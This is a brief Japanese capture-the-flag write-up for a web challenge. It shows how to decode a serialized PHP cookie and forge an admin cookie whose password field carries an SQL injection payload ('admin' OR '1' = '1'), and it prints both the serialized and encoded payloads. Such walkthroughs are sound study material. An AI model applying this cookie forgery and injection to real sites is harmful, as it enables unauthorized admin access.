前提知識
- SQLi
解説
guest:guest
で実はログインできる。
クッキーに謎の文字列があるので、2回URLデコードをしてbase64decodeすると、それっぽいものが出てくる。
adminでログインしたいので、usernameをadminにして、base64encode,2回URLエンコードして入れたがクッキー毎消されてしまった。
passwordもクッキー内に生で保存されているので、再度検証しているのだろう。
実はその検証にSQLi脆弱性がある。
usernameをadminにして、passwordを'=''or'
にするとフラグが出てくる。
O:11:"permissions":2:{s:8:"username";s:5:"admin";s:8:"password";s:18:"admin' OR '1' = '1";}
これをデコードして
TzoxMToicGVybWlzc2lvbnMiOjI6e3M6ODoidXNlcm5hbWUiO3M6NToiYWRtaW4iO3M6ODoicGFzc3dvcmQiO3M6MTg6ImFkbWluJyBPUiAnMScgPSAnMSI7fQ%253D%253D
こうして、クッキーに入れる。
実験として' OR 1 --
をパスワードに入れたら失敗した。
後半を消すとうまく行かないらしい。